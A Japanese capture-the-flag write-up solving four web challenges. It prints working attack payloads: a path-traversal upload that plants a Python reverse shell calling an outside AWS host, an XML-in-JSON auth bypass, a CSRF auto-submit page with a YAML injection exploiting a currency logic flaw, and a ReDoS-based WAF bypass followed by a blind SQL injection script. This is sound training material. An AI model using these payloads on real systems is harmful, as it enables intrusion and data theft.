日曜19時開始だと仕事とガッツリ被ってしまいしんどい。
flag共有など無法地帯になっていましたが、せっかく真面目に解いたのでwriteupを書きました。
Hash Factory
まさかのDockerfileのみ配布。 Dockerfile内でcatしてPythonファイルなどを作成していて「なるほど」となった。
本質的なのは大体下記の部分で、md5を改行区切りで記載したファイルを投げるとcrackしてくれる君らしい。
@app.route('/', methods=["GET", "POST"]) def index(): hash_file = request.files.get('hash_file') ... hash_file.save(path := hashes / hash_file.filename) crack_results = check_output(["/app/crack", path], text=True) path.unlink()
for line in open(sys.argv[1], 'r', encoding="utf-8"): line = line.strip() # we only crack hashes here if len(line) != len(md5('')): continue hashes += 1 cracked = i = 0 for hash in map(md5, map(str, range(1338))): if line == hash: print(f'{line}:{i}') cracked = 1; hashes_cracked += 1; break i += 1 if not cracked: print(f'{line}:-') print(f"\ncracked {hashes_cracked}/{hashes}")
hash_file.saveの部分でトラバーサルしたい気分になったので適当にやってみたら、ファイルの上書きができた。
POST / HTTP/1.1 Host: 10.4.50.175:5001 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2Pbr9S15pYdPGUei ------WebKitFormBoundary2Pbr9S15pYdPGUei Content-Disposition: form-data; name="hash_file"; filename="../crack" Content-Type: application/octet-stream test ------WebKitFormBoundary2Pbr9S15pYdPGUei--
$ cat crack test
ということでcrackの内容をいい感じに書き換えることでRCEが可能。
リバースシェルを張って環境変数を見てみたらflagがあった。
------WebKitFormBoundary2gR3VAb4c6u4bJ2A
Content-Disposition: form-data; name="hash_file"; filename="/app/crack"
Content-Type: application/octet-stream
#!/app/.venv/bin/python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ec2-3-112-172-87.ap-northeast-1.compute.amazonaws.com",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
------WebKitFormBoundary2gR3VAb4c6u4bJ2A--
Go brrr
adminでログインできるとflagがもらえるらしい。 jsonでパースして、usernameとpasswordがある場合にのみ認証サービスにリクエストを投げる。
@app.route('/user', methods=['POST']) def user_handler(): data = request.get_json() or None if data is None or not "username" in data or not "password" in data: return "Invalid data format (not a valid JSON schema)", 400 check = requests.post(auth_service_url, json=data).text if check == '"Authorized"': session['is_admin'] = True return "Authorized" else: return "Not Authorized", 403 @app.route('/admin', methods=['GET']) def admin_panel(): if session.get('is_admin'): flag = os.getenv('DYN_FLAG', 'BHFlagY{dummy_flag_for_testing}') return "Welcome to the admin panel! Here is the flag: " + flag
認証してadminになればflagが手に入りそうだとわかる。
認証サービスはGoで書かれていて、下記の流れで認証している。
if err := xml.Unmarshal(body, &user); err != nil { w.Header().Set("x-xmllog", fmt.Sprint(user)) if err := json.Unmarshal(body, &user); err != nil { http.Error(w, "Invalid data format (not XML or JSON)", http.StatusBadRequest) return } } w.Header().Set("Content-Type", "application/json") if user.IsAdmin { w.Write([]byte(`"Authorized"`)) } else { w.Write([]byte(`"Not Authorized"`)) }
ここまで読んで、Pythonで正規のjsonとして扱われかつGoでXMLとしてパースされるパターンが想像つく。
{ "username":"<User><username>test</username><password>test</password></User>", "password":"test" }
パースする際の構造体は下記。
type User struct { Username string `json:"username" xml:"username"` Password string `json:"password" xml:"password"` IsAdmin bool `json:"-" xml:"-,omitempty"` }
IsAdmin をtrue にしたいのだが、フィールド名が - になっておりtrueにさせるのは難しそうに思える。
ただ xml:"-,omitempty"という書き方は一般的でないので、- がタグとして扱われないかな、と考える。
ところが、下記はシンタックスエラーになることがわかった。
<User><->true</-></User>
色々試した結果、 < の後に - が続くとダメらしい。
どうしようかなと思っていたらチームメイトがネームスペースを利用したら解けることに気づいてくれた。
<User><ns:->true</ns:-></User>
下記jsonを投げるとadminのCookieが発行されるので、それでflagゲット。
{"username":"<User><ns:->true</ns:-></User>", "password":"test"}
cute_csp
問題名からCSPバイパスかなぁと後回しにしていた。

まずはindex.php
<?php header("Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline; img-src *;"); @print($_GET["html"] ?? show_source(__FILE__));
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline; img-src *; となっているが、とりあえずぱっと見でstyle-srcのクォートが閉じてないことに気づく。
これで style-src は無視されるので、スタイル関連には default-src である 'none'が採用される。(厳しくなるのかーい)
$_GET["html"] があるので、HTMLインジェクションは簡単そう。
admin botを呼び出すためのreport.phpを見る。
<?php const URL_PREFIX = "http://localhost:5000/index.php"; echo "<pre>"; $url = $_REQUEST['url'] ?? null; if (isset($url) && str_starts_with($url, URL_PREFIX)) { $start_time = microtime(true); $url = escapeshellarg($url); system("python3 bot.py " . $url); echo "[xssbot] total request time: " . (microtime(true) - $start_time) . " seconds";
URL_PREFIX ( /index.php )で始まる場合のみ、pythonでbotが動くらしい。botの中身を見る。
BASE_URL = "http://localhost:5000" ADMIN_TOKEN = os.getenv("ADMIN_TOKEN") URL_PREFIX = "http://localhost:5000/index.php" # makeshift lockfile, not safe against deliberate race conditions LOCKFILE = Path("bot.lock") async def visit(url: str): if LOCKFILE.exists(): print("[xssbot] ongoing visit detected, cancelling...") exit(1) if not url.startswith(URL_PREFIX): print("[xssbot] invalid URL format") exit(1) try: Path(LOCKFILE).touch() print("[xssbot] visiting url") p = await async_playwright().start() browser = await p.chromium.launch(headless=True) context = await browser.new_context() await context.add_cookies( [ { "name": "token", "value": ADMIN_TOKEN, "domain": "localhost", "httpOnly": True, "path": "/", } ] ) page = await context.new_page() await page.goto(url) await page.wait_for_load_state("networkidle") await page.wait_for_timeout(1_000) content = await page.evaluate("() => document.documentElement.innerHTML") print("-" * 32) print(content) print("-" * 32)
ここでも URL_PREFIX ( /index.php )をみて正しければアクセス、その結果をprintする。試しに /report.php?url=http://localhost:5000/index.php で呼び出してみたらこうなった。

そう、report.phpにはCSPの設定がないので、スタイルが反映される。
「え、じゃあ /report.php?url=http://localhost:5000/index.php?html=<img%20src%20onerror=alert(1)> でXSSできるじゃん」と思うが、URL_PREFIX をみているため /report.php を報告することはできない。
ただ、この URL_PREFIX の検証は /index.php/../report.php のようにしてあげるだけで回避できる。
ということで /index.php/../report.php?url=http://localhost:5000/index.php?html=<img%20src%20onerror=alert(1)> を報告しておわりかと思いきや、さっきのpythonファイル中にrace condition対策のlockがあった。これではreportでreportを呼び出すことができない。残念。
# makeshift lockfile, not safe against deliberate race conditions LOCKFILE = Path("bot.lock") async def visit(url: str): if LOCKFILE.exists(): print("[xssbot] ongoing visit detected, cancelling...") exit(1)
admin.php を確認する。
<?php error_reporting(E_ALL ^ E_WARNING); const URL_PREFIX = "http://localhost:5000/admin.php"; const ISO3166_COUNTRY_NAMES = ['Aruba' => 'AW', 'Afghanistan' => 'AF',(snip...), 'FLAG' => 'FL']; $ADMIN_TOKEN = getenv('ADMIN_TOKEN'); $admin_token = $_COOKIE['token'] ?? null; if ($_SERVER['REMOTE_ADDR'] <> '127.0.0.1' && (!isset($admin_token) || strcmp($admin_token, $ADMIN_TOKEN) <> 0)) { echo "[!] Oops! Invalid admin token"; die(1); } switch ($_SERVER['REQUEST_METHOD']) { case 'GET': simulate_transactions(); break; case 'POST': process_transactions(); break; }
IPアドレスとadmin_tokenのチェックにより、admin bot経由でしか呼び出せなそう。
以降の検証では一旦コメントアウトしておく。
GETとPOSTで動作が変わるらしいので、それぞれの挙動を見ていく。まずはsimulate_transactions
<? ... function simulate_transactions() { ... $buy = true; foreach ($_GET['transactions'] as $key => $tx) { if (!isset($tx['amount']) || !isset($tx['country'])) { echo "[!] Missing amount or country in transaction #$key" . PHP_EOL; return; } $amount = $tx['amount']; $country = $tx['country']; // validate the two fields if (!is_numeric($amount) || !array_key_exists($country, ISO3166_COUNTRY_NAMES)) { echo "[!] Invalid transaction amount or country in transaction #$key" . PHP_EOL; return; } $currency = ISO3166_COUNTRY_NAMES[$country]; printf("- amount: %d\n currency: %s\n op: %s\n", intval($amount), $currency, $buy ? "BUY" : "SELL"); // you cant keep buying, gotta switch it up, its no free economy in here... $buy = !$buy; } }
色々書いてあるが、amountとcountryを受け取ってトランザクションのyamlを発行してくれる君という認識だけすればOK。
/admin.php?transactions[0][amount]=1&transactions[0][country]=Aruba&transactions[1][amount]=1&transactions[1][country]=Aruba で発行すると下記。
- amount: 1 currency: AW op: BUY - amount: 1 currency: AW op: SELL
次は process_transactions を見る
<? ... function process_transactions() { $url = $_REQUEST['url'] ?? null; if (!isset($url) || !str_starts_with($url, URL_PREFIX)) { echo "[!] Invalid simulation url: " . $url; return; } // TODO: We really need to support real exchange rates some day, it does not seem fair in its current // format. on the bright side, at least we are treating everybody equally :) $exchange_rates = []; foreach (ISO3166_COUNTRY_NAMES as $country => $currency) { $exchange_rates[$currency] = 1; } $exchange_rates['FL'] = 1_000_000; $balance = 1; echo "<pre>" . PHP_EOL; echo '11111' . PHP_EOL; echo "fgc" . file_get_contents($url) . PHP_EOL; echo '22222' . PHP_EOL; echo "url" . $url . PHP_EOL; echo '33333' . PHP_EOL; $txs = @yaml_parse_url($url); if ($txs === false || !is_array($txs)) { echo "[!] Failed to parse transactions from url"; return; } $currency_inventory = []; echo "Transactions Processing Sheet\n--------------------------" . PHP_EOL; foreach ($txs as $i => $tx) { if (!is_array($tx)) { echo "[!] Transaction #{$i} must be an object"; return; } if (!array_key_exists('amount', $tx) || !array_key_exists('currency', $tx) || !array_key_exists('op', $tx)) { echo "[!] Transaction #{$i} must include 'amount' and 'currency'"; return; } $op = $tx['op']; $amount = $tx['amount']; $currency = $tx['currency']; if (!is_int($amount) || $amount <= 0) { echo "[!] Transaction #{$i} amount must be a positive integer"; return; } if ($op <> 'BUY' && $op <> 'SELL') { echo "[!] Transaction #{$i} op must be either BUY or SELL"; return; } if (!isset($currency_inventory[$currency])) { $currency_inventory[$currency] = 0; } $currency_rate = $exchange_rates[$currency]; $value = $amount * intval($currency_rate); if ($op == 'BUY') { // do we have enough balance to cover this buy? if ($balance - $value >= 0) { $balance -= $value; $currency_inventory[$currency] += $amount; } else { echo "[!] Transaction #{$i} insufficient balance to BUY {$amount} {$currency}. " . "Cost: {$value}, Balance: {$balance}"; return; } } elseif ($op == 'SELL') { // do we have enough currency to sell? if ($currency_inventory[$currency] >= $amount) { $balance += $value ? $value : $amount; $currency_inventory[$currency] -= $amount; } else { echo "[!] Transaction #{$i} cannot SELL {$amount} {$currency}; " . "inventory is {$currency_inventory[$currency]}"; return; } } else { echo "[!] Transaction #{$i} op must be either BUY or SELL"; return; } printf("%s %2dx %s (Rate: %.1f) = %3d\n", $op == 'BUY' ? '-' : '+', $amount, $currency, $currency_rate, $value); } foreach ($currency_inventory as $cur => $qty) { printf("Final Inventory %-5s : %s\n", $cur, $cur === 'FL' ? getenv('DYN_FLAG') : $qty); }
色々書いてあるが、大体やってることは以下。
- 受け取ったURLが
URL_PREFIX(/admin.php)から始まるかチェック - 各国通貨のレートを
1に、FL(FLAG)を1_000_000にセット - URLをGETして、yamlをパース
- パースしたトランザクションにしたがって処理
先ほどの/admin.php?transactions[0][amount]=1&transactions[0][country]=Aruba&transactions[1][amount]=1&transactions[1][country]=Arubaを入れてみると下記。
<pre> 11111 fgc- amount: 1 currency: AW op: BUY - amount: 1 currency: AW op: SELL 22222 urlhttp://localhost:5000/admin.php?transactions[0][amount]=1&transactions[0][country]=Aruba&transactions[1][amount]=1&transactions[1][country]=Aruba 33333 Transactions Processing Sheet -------------------------- - 1x AW (Rate: 1.0) = 1 + 1x AW (Rate: 1.0) = 1 Final Inventory AW : 0 </pre>
AWを1買ってAWを1売る、といった処理がされる。
この結果としてFLを持っていればFLAGがもらえるが、FLは途方もなく高価なため順当には入手できない。
また、トランザクションの処理時は所持金および所持通貨のチェックをちゃんとやっていて、「-1個買う」や「所持金以上の個数買う」、「所持数以上の個数売る」などはできなそうだ。
またここで URL_PREFIX のバイパスが容易であることを思い出す。
/admin.php/../index.php?html=... で任意の文字列を発行できるので、適当にyamlを作ってみる。
- amount: 1 currency: FL op: BUY
url=http://localhost:5000/admin.php/../index.php?html=-%2520amount%253a%25201%250a%2520%2520currency%253a%2520FL%250a%2520%2520op%253a%2520BUY%250a
<pre> 11111 fgc- amount: 1 currency: FL op: BUY 22222 urlhttp://localhost:5000/admin.php/../index.php?html=-%20amount%3a%201%0a%20%20currency%3a%20FL%0a%20%20op%3a%20BUY%0a 33333 Transactions Processing Sheet -------------------------- [!] Transaction #0 insufficient balance to BUY 1 FL. Cost: 1000000, Balance: 1
とりあえず任意のyamlを読ませることはできていそうだ。
simulate_transactionsではできなかったものとして、「exchange_ratesに存在していない通貨のトランザクションの発行」が新しくできるようになったが、どうだろうか。
まずは購入だが、exchange_ratesが存在していなくても問題なく購入できる。
<? ... $currency_rate = $exchange_rates[$currency]; $value = $amount * intval($currency_rate); if ($op == 'BUY') { // do we have enough balance to cover this buy? if ($balance - $value >= 0) { $balance -= $value; $currency_inventory[$currency] += $amount; } else { echo "[!] Transaction #{$i} insufficient balance to BUY {$amount} {$currency}. " . "Cost: {$value}, Balance: {$balance}"; return; }
ためしに適当なyamlを作ってみると、0円で何個でも購入できる。
- amount: 1000 currency: test op: BUY
Transactions Processing Sheet -------------------------- - 1000x test (Rate: 0.0) = 0 Final Inventory test : 1000
そして売却だが、valueがfalseである場合にはamountを利用していることがわかる。
存在しない通貨を指定した場合に value の計算結果は 0 になるので、0円のものを売却するときになぜか個数分のお金が手元に入る。
<? $currency_rate = $exchange_rates[$currency]; $value = $amount * intval($currency_rate); ... } elseif ($op == 'SELL') { // do we have enough currency to sell? if ($currency_inventory[$currency] >= $amount) { $balance += $value ? $value : $amount; $currency_inventory[$currency] -= $amount; } else { echo "[!] Transaction #{$i} cannot SELL {$amount} {$currency}; " . "inventory is {$currency_inventory[$currency]}"; return; }
この挙動を利用して1000000個適当な通貨を買って同数売れば、FLを購入できる。
ということで、最終的なyaml
- amount: 1000000 currency: test op: BUY - amount: 1000000 currency: test op: SELL - amount: 1 currency: FL op: BUY
Transactions Processing Sheet
--------------------------
- 1000000x test (Rate: 0.0) = 0
+ 1000000x test (Rate: 0.0) = 0
- 1x FL (Rate: 1000000.0) = 1000000
Final Inventory test : 0
Final Inventory FL : BHFlagY{this_is_a_flag}
リクエストはこう。
url=http://localhost:5000/admin.php/../index.php?html=-%2520amount%253a%25201000000%250a%2520%2520currency%253a%2520test%250a%2520%2520op%253a%2520BUY%250a-%2520amount%253a%25201000000%250a%2520%2520currency%253a%2520test%250a%2520%2520op%253a%2520SELL%250a-%2520amount%253a%25201%250a%2520%2520currency%253a%2520FL%250a%2520%2520op%253a%2520BUY%250a
さて、これでadmin botにPOSTさせることさえできればflagがもらえる。(((writeupを書いてる途中に気づいたが、存在しない通貨名でXSSができたのでそれでよかったかも。)))
これはmetaタグでリダイレクトした先からCSRFすればよかった。
<html> <body> <form action="http://localhost:5000/admin.php" method="POST"> <input type="hidden" name="url" value="http://localhost:5000/admin.php/../index.php?html=-%20amount:%201000000%0A%20%20currency:%20test%0A%20%20op:%20BUY%0A-%20amount:%201000000%0A%20%20currency:%20test%0A%20%20op:%20SELL%0A-%20amount:%201%0A%20%20currency:%20FL%0A%20%20op:%20BUY" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>
CSRFする罠ページを用意して、そこにリダイレクトさせるようにレポートしたらおわり。
/report.php?url=http://localhost:5000/index.php?html=%3Cmeta%20http-equiv=%22refresh%22%20content=%220;%20url={url}%22%3E
KoKo WAF
登録とログインだけがあるシンプルなWebアプリ。
ソースを見るとusernameがwaf関数を通り抜けたらSQLiできることがわかる。
<?php require_once("db.php"); require_once("waf.php"); session_start(); if(isset($_POST['login-submit'])) { if(!empty($_POST['username']) && !empty($_POST['password'])) { $username= $_POST['username']; $password= sha1($_POST['password']); if(waf($username)) { $error_message = "WAF Block - Invalid input detected"; } else { $res = $conn->query("select * from users where username='$username' and password='$password'"); if($res->num_rows ===1) { $_SESSION['username'] = $username; $_SESSION['logged_in'] = true; header("Location: profile.php"); exit(); } else { $error_message = "Invalid username or password"; }
WAFの内容を見てみる。
<?php $sqli_regex = [ "/(['|\"])+/s", "/(&|\|)+/s", "/(or|and)+/is", "/(union|select|from)+/is", "/\/\*\*\//", "/\s/" ]; function waf($input) { global $sqli_regex; foreach ($sqli_regex as $pattern) { if(preg_match($pattern,$input)) { return true; } else { continue; } } }
いかにもバイパスできそうな正規表現だが、"/(['|\"])+/s"が割と厄介。
SQLは select * from users where username='$username' and password='$password') となっているので、シングルクォートが使えないと何もできない。
\を入れることでpassword側でSQLiするのかと思いきや、passwordはsha1されていて自由に入力ができない。
これは時間内に解けなかったが、結局ReDoSの方針でよかったらしい。(ReDoSの発想自体はあったが、正規表現がシンプルなので無理だと思っていた。ちゃんと試せばよかった。。。)
'を10000個程度送ってみると、検知されない。
import requests data = {'username': "'"*10000, 'password': 'admin', 'login-submit': ''} response = requests.post('http://localhost:5008/index.php', data=data) print("blocked" if "WAF Block" in response.text else "bypassed")
$ python3 req.py bypassed
あとはSQLiするだけ。flagはflagsテーブルにある。
CREATE TABLE IF NOT EXISTS `flags` ( `id` varchar(32) NOT NULL, `flag` varchar(255) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;
/(['|\"])+/s は必須として、unionを大量におくことで /(union|select|from)+/is も無効化しておく。
/\s/はコメントアウトすればよくて、コメントアウトの/\/\*\*\//は/*a*/とかで雑にバイパスできる。
import requests import string f = "BHFlagY{" while True: for c in string.hexdigits + '}': print(f+c, end="\r") data = { 'username': '"'*10000 + 'union'*10000 + "'UNION/*a*/SELECT/*a*/null,null,null,null,null,null/*a*/FROM/*a*/flags/*a*/WHERE/*a*/flag/*a*/LIKE/*a*/'" + f + c + "%';#", 'password': 'a', 'login-submit': '' } response = requests.post('http://localhost:5008/index.php', data=data) if "profile.php" in response.url: f += c print() if c == '}': exit(0)
実行するとflagが手に入る。



























